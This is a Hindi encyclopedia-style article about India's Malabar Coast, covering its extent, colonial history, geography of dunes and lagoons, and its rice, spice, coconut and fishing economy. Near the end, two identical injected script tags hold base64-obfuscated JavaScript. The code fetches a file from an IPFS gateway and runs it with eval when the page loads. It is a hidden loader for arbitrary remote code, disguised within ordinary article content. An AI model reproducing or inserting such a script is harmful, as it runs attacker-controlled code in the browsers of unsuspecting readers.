मालाबार तट

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
मालाबार तट

मालाबार तट उत्तर में गोवा से लेकर दक्षिण में कन्याकुमारी तक विस्तारित समुद्र की तट रेखा है। यह दक्षिण भारत के पश्चिमी समुद्र तट के लिए लंबे समय से प्रचलित नाम है, जिसकी पूर्वी सीमा पश्चिमी घाट की क्षेणियाँ हैं। इस नाम के दायरे में कभी-कभी प्रायद्वीपीय भारत के समूचे पश्चिमी तट को भी शामिल किया जाता है।

इतिहास

मालाबार तट का एक विशाल हिस्सा प्राचीन केरल के चेर वंश राज्य के अधीन था। पुर्तग़ालियों ने वहाँ कई व्यापारिक चौकियाँ स्थापित की थीं और 17वीं शताब्दी में डच तथा 18वीं शताब्दी में फ़्राँसीसियों ने भी उनका अनुसरण किया। 18वीं शताब्दी में इस क्षेत्र पर अंग्रेज़ों का क़ब्ज़ा हो गया।

भौगोलिक संरचना

मालाबार तट में अब केरल राज्य का अधिकांश हिस्सा और कर्नाटक का तटीय क्षेत्र शामिल है। यह तट रेतीले टीलों की सतत पट्टी से युक्त है। इसके पीछे तट के समानांतर कई समुद्रताल (लैगून) हैं, जो नहरों के द्वारा एक-दूसरे से जुड़कर जलमार्ग का निर्माण करते हैं, जिसका उपयोग छोटी नौकाएं करती हैं। भीतरी क्षेत्र समतल जलोढ़ भूमि का है, जिसे पश्चिमी घाट से बहकर आने वाली धाराओं से काफ़ी मात्रा में पानी मिलता है।

व्यवसाय

चावल तथा मसाले यहाँ की प्रमुख फ़सलें है। मालाबार तट के तटीय रेतीले टीलों में नारियल के वृक्ष बहुत बड़ी मात्रा में उगते हैं। मछली पकड़ने का कार्य भी यहाँ के महत्त्वपूर्ण व्यवसायों में से एक है। कोच्चि एक महत्त्वपूर्ण बंदरगाह है। दक्षिण तटीय क्षेत्र में ग्रीष्म मानसून मौसम के दौरान यहाँ पर अधिकतम वर्षा होती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>